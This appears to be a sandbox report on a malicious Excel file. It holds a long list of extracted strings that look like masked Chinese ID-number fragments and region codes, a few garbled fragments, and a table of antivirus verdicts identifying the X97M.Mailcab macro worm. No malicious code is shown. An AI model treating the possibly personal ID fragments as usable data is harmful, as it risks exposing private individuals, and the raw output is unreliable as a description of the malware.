........4423
320625
........6695
110228
........5469
372330
........0208
371321
........3431
370830
........1270
370481
........6011
371421
........5747
421125
........6716
142326
........0135
371324
........3812
372926
........7391
370832
........7033
320121
........1133
370828
........3645
370785
........0021
370781
........3264
370521
........201X
372522
........5861
620521
........141X
372924
........5126
371323
........2145
370921
........3671
330421
........051X
362421
........441X
370827
........2518
370203
........5115
371427
........3110
372930
........2184
370523
........2025
372924
........5460
370684
........102X
371522
........8057
370481
........4617
371324
........4517
130429
........2657
370403
........6616
610527
........3212
370126
........122X
371082
........561X
370103
........7547
370828
........4054
372901
........5048
371481
........0324
371481
........0916
370902
........0049
371522
........3536
371422
........3067
371321
........7456
370783
........2723
371122
........7410
370782
........4312
370523
........4615
372330
........5454
370829
........6248
371083
........4517
371522
........0830
371325
........1692
371326
........8542
320125
........4814
370303
........7438
370882
........2846
370687
........2616
330227
........6488
370685
........6210
370703
........3723
370911
........1228
370983
........6918
370634
........0615
371321
........3127
371426
........6010
371581
........1765
370126
........5927
370786
........0626
622322
........3420
370682
........1918
371481
........4841
370686
........6117
370828
........2064
370502
........0029
370784
........5329
372922
........051X
370831
........7017
370781
........5389
430224
........6914
371202
........2928
370724
........1215
371325
........7553
430181
........7432
371311
........3468
130185
........091X
220503
........0516
362322
........0635
370405
........1847
370725
........260X
370303
........6628
370829
........3927
430726
........5415
370828
........3219
513826
........0624
622726
........1353
jl9N9N
371322
........1284
411023
........0533
370983
........5824
372922
........3919
421121
........2413
jltQno
370882
........2832
654221
........4827
372925
........2349
610525
........1913
371481
........5438
610121
........0477
371102
........0731
371302
........0011
371523
........0529
411023
........1615
370883
........3063
370883
........0017
372926
........0516
130821
........421X
370982
........1844
372325
........4442
370303
........2127
370782
........0834
370481
........0089
410327
........5617
370784
........8013
370782
........1843
230122
........0819
370303
........0010
620521
........2029
371525
........3345
142625
........395X
371502
........6812
410527
........5021
372922
........3574
370725
........0975
370702
........2239
371102
........8136
370683
........6050
370212
........1226
370785
........5200
140311
........2164
370782
........6423
371329
........362X
370881
........2538
370785
........0378
320721
........2733
610124
........3630
370784
........6616
370125
........1216
371525
........0010
371203
........3221
522427
........7235
371423
........4440
370523
........4229
371329
........1229
371428
........3020
371524
........3631
370826
........3222
372323
........0930
370481
........5323
370702
........322X
370883
........3913
370785
........9625
370830
........6515
370284
........0413
370832
........4456
371121
........0418
372925
........1738
371322
........3442
130127
........0015
370782
........3471
371321
.....0911
370481
........3279
371325
........6975
370323
........1438
371523
........1267
370829
........068X
372929
........4820
371581
........4139
370302
........251X
371525
........0718
370126
........1213
371324
........1963
371002
........8834
371328
........4526
371326
........8236
370402
........1930
370703
........0838
130982
........3135
371428
........0579
370902
........2411
370724
........262X
370782
........7621
410521
........4045
371327
........3922
140181
........0301
370785
........4307
370682
........7522
371522
........8496
370902
........5422
371428
........2020
370725
........0222
370283
........831X
211321
........5668
372930
........6360
370112
........4572
370682
........3149
142303
........5328
371324
........326X
370125
........0041
410923
........7309
370684
........0027
372330
........7250
140322
........2717
372923
........0119
370830
........7217
370784
........3534
371427
........1028
370883
........4426
370883
........3659
340827
........7116
370303
........0028
370285
........1416
370921
........3026
370882
........427X
371521
........0029
620522
........3152
370828
........4440
371202
........2944
371327
........3712
370302
........542X
370781
........4829
610524
........7664
370724
........0016
350784
........2829
)nSfhf
371421
........0627
371322
........7366
370785
........3686
371327
........0039
370304
........0649
370634
........0613
371482
........1138
370481
........0625
450722
........2473
150429
........4613
371523
........3414
370683
........152X
370724
........7767
610502
........662X
370404
........1017
371202
........4028
370783
........3574
340223
........581X
371326
........0837
140181
........2315
370785
........8112
232302
........7039
370785
........8115
371424
........0360
430422
........3597
232321
........1428
430681
........554X
360782
........0014
371422
........3523
371522
........9652
372922
........1764
372925
........1715
371502
........313X
341222
........2455
370323
........2217
372925
........6739
370782
........2020
370983
........2876
370687
........5466
372324
........3721
370181
........652X
371422
........5412
370883
........6310
321181
........2361
372929
........0327
371081
........3418
370304
........3948
370684
........221X
410621
........5093
370304
........1917
370521
........0020
370703
........1210
370830
........180X
320826
........3633
370830
........2238
371327
........1571
421083
........4739
370481
........2254
370882
........3716
372922
........5054
370503
........2928
371426
........0414
370481
........7729
371481
........4817
370785
........1811
372922
........2863
370685
........1011
460025
........2417
371321
........6319
370303
........1715
330821
........141X
371122
........6312
372922
........3923
371427
........0325
371424
........032X
371523
........3051
330282
........7775
370982
........1024
610526
........3423
372901
........4329
130626
........6537
370911
........4023
371202
........1544
371081
........5029
372925
........1511
410621
........2052
371422
........3838
142223
........3920
370827
........3271
140121
........7211
372928
........0814
370881
........2011
320821
........0315
370323
........322X
500230
........2637
370112
........2920
370283
........6839
371328
........0026
hgIY)R
370830
........4057
370829
........0666
612723
........0421
370724
........3614
370983
........493X
370782
........367X
371329
........6021
372926
........1157
hgvfvf
610528
........6045
370602
........4628
411224
........0718
610125
........084X
429006
........4437
372321
........8968
370883
........168X
370883
........6558
410221
........4817
370304
........2741
hg)Yw
371426
........0021
370503
........1449
370831
........581X
372325
........2428
hg'\'\
370523
........4266
370404
........1025
370181
........6127
321283
........0613
372930
........4474
371121
........3810
340823
........6715
150123
........4635
371323
........792X
340111
........7518
370523
........1621
371323
........7219
142724
........1444
231026
........0919
370983
........2310
9\SfwZ
372323
........3623
371402
........1226
370612
........1720
371328
........4516
371002
........3527
370982
........0012
370983
........5310
370982
........1831
371083
........5023
370687
........2078
371523
........2358
371423
........0018
370785
........7871
371122
........0631
342401
........8872
YO3t7u
420114
........192X
142322
........1049
410822
........6018
370783
........3339
371423
........5048
370882
........2415
370285
........0024
370921
........241X
370281
........0038
371324
........2435
371329
........0023
120222
........643X
370725
........1719
370304
........3913
150223
........2749
371325
........1212
370911
........6011
370682
........244X
371424
........6014
370112
........4522
372323
........2766
_9N9N
372926
........1846
370125
........4618
342225
........5714
370826
........4027
370785
........1212
371102
........1039
372301
........5154
_wm^t
371482
........1758
370921
........5123
371482
........206X
370686
........3415
211224
........8539
371525
........2310
_*mim
370781
........4838
370829
........1035
371424
........0323
370830
........0832
371427
........2523
370784
........5542
130322
........2211
370302
........2543
_vfvf
372924
........5127
120225
........3180
372324
........5322
371102
........0027
370403
........4925
370305
........2439
220221
........3672
620421
........2513
620121
........3815
_PNdW
370785
........3695
370785
........8989
371422
........7719
370921
........421X
320681
........6029
372901
........61<
370829
........4624
370126
........7125
612728
........0628
370826
........4631
230826
........0424
371202
........2941
341621
........211X
372926
........5428
370406
........1834
141102
........0111
371423
........4149
370321
........124X
371502
........9315
612401
........0548
370921
........1837
370283
........263X
_IZwZ
142301
........0025
370826
........0028
370214
........4811
142702
........4930
371525
........0060
370481
........4660
372321
........2689
371122
........1256
340322
........7428
_HQ/c
370983
........5851
_.s)R
372922
........3917
372925
........2513
_Sfl_
370305
........0712
_Sf=N
370784
........5829
_Sf3t
370702
........0326
371327
........3726
372901
........0825
372925
........2329
370302
........2928
371002
........4525
371327
........2247
410105
........0055
372301
........0027
530326
........5173
370284
........4819
_f[fk
371321
........6130
370982
........1018
370684
........1846
371482
........5733
370283
........0623
371402
........762X
320682
........0010
370303
........4220
370105
........5324
370521
........4015
370785
........278X
372925
........1700
370783
........3584
371425
........816X
410184
........5614
371425
........2520
370982
........202X
370602
........2625
371581
........1152
371523
........0059
_/cNS
370921
........2417
_/cO
370725
........1712
371321
........6386
370883
........682X
371482
........4525
370828
........202X
371523
........2760
372929
........6053
371402
........6418
370481
........1844
142429
........1210
371521
........3938
370725
........2175
372301
........481X
371323
........4618
511381
........4201
371122
........7828
370911
........1643
371324
........1646
230223
........092X
370802
........0018
370811
........0038
371522
........681X
372325
........0861
372922
........0522
370284
........6016
130182
........2984
372922
........3948
371324
........3516
370786
........0926
370982
........496X
370911
........2021
370303
........002X
371581
........2416
620502
........4334
620302
........1218
371121
........191X
371312
........6433
370406
........6612
140225
........371X
371321
........2313
371329
........2739
330727
........0079
371426
........2020
420822
........5261
371502
........7857
371402
........1624
230521
........1913
429001
........0413
371122
........7338
371311
........350X
370502
........0019
500228
........6559
371526
........3715
370830
........4712
370202
........0021
hTPNPN
371524
........302X
371202
........1242
372323
........0049
370103
........2548
372925
........0580
370124
........0026
370784
........501X
370323
........0427
370502
........0827
370882
........2867
430426
........0575
330203
........001X
370827
........1329
hTSfZ
370323
........0248
hTSf8l
150426
........1176
370323
........0062
370403
........5623
371082
........2525
370304
........2719
371311
........3331
370811
........0067
370634
........0024
371424
........6021
370402
........0018
370784
........0532
370502
........5222
1g9N9N
371526
........1241
372922
........6248
371322
........4625
1g*mi_
370783
........112X
372324
........326X
131082
........4152
370724
........0766
1g=N=N
370782
........4786
371425
........7913
371525
........3716
371522
........4254
372301
........0029
371312
........5516
370724
........121X
370323
........1430
211321
........0421
371327
........273X
370828
........231X
371423
........1751
342201
........2505
370522
........043X
330483
........4012
370911
........6415
340403
........2629
371324
........5216
370402
........6920
370783
........332X
232326
........0037
371321
........6117
372924
........5130
372926
........3619
610327
........0020
371321
........6346
612732
........4617
370781
........4560
372901
........5023
370406
........0071
370702
........5125
371526
........3214
8^vfvf
340604
........2022
530323
........0994
330382
........2828
371521
........3436
370923
........4278
370829
........0310
370832
........0349
371102
........7130
130323
........0222
120111
........1545
372926
........6020
371327
........4915
371202
........6822
372926
........6028
622425
........6619
370881
........0019
372922
Antivirus Signature
Bkav X97M.Mailcab
Elastic malicious (high confidence)
DrWeb W97M.Keylog.1
ClamAV Xls.Trojan.Agent-36856
FireEye X97M.Mailcab.A@mm
CAT-QuickHeal X97M.Mailcab.A
McAfee W97M/Downloader.bqa
Malwarebytes Clean
Zillya Clean
AegisLab Virus.MSExcel.Agent.n!c
Sangfor Malware
K7AntiVirus Virus ( 000000001 )
K7GW Virus ( 000000001 )
TrendMicro Virus.X97M.MAILCAB.A
BitDefenderTheta Clean
Cyren X97M/MailCab.A
Symantec XM.Mailcab@mm
TotalDefense Mailcab.A
TrendMicro-HouseCall Virus.X97M.MAILCAB.A
Avast MW97:Laroux-C
Cynet Malicious (score: 85)
Kaspersky Virus.MSExcel.Agent.f
BitDefender X97M.Mailcab.A@mm
NANO-Antivirus Virus.Macro.Agent.ssfat
ViRobot X97M.Ecsys
MicroWorld-eScan X97M.Mailcab.A@mm
Tencent OLE.Win32.Macro.700418
Ad-Aware X97M.Mailcab.A@mm
Sophos XM97/MailCab-A
Comodo Worm.MSExcel.Mailcab.A@4pfaz9
F-Secure Malware.X2000M/Agent.6489234
Baidu MSExcel.Virus.Mailcab.b
VIPRE Virus.MSExcel.Mailcab.a (v)
Invincea XM97/MailCab-A
McAfee-GW-Edition BehavesLike.OLE2.Downloader.dr
CMC Clean
Emsisoft X97M.Mailcab.A@mm (B)
Ikarus Trojan.VBS.Agent
GData X97M.Mailcab.A@mm
Jiangmin XF/Marker.Gen
Avira X2000M/Agent.6489234
MAX malware (ai score=100)
Antiy-AVL Virus/MSExcel.ToDole.b
Kingsoft Clean
Gridinsoft Clean
Arcabit HEUR.VBA.CG.2
SUPERAntiSpyware Clean
ZoneAlarm Virus.MSExcel.Agent.f
Microsoft Virus:X97M/Mailcab.A
AhnLab-V3 X97M/Mailcab
Acronis Clean
VBA32 Clean
ALYac X97M.Mailcab.A@mm
TACHYON Trojan/X97M.Mailcab
Zoner Clean
ESET-NOD32 X97M/Mailcab.A
Rising Trojan.Script.VBS.Dole.g (CLASSIC)
Yandex Clean
SentinelOne DFI - Malicious OLE
Fortinet VBA/Mailcab.A@mm
AVG MW97:Laroux-C
Panda W97/Mailcab.A
Qihoo-360 macro.office.vba.gen.300f
No IRMA results available.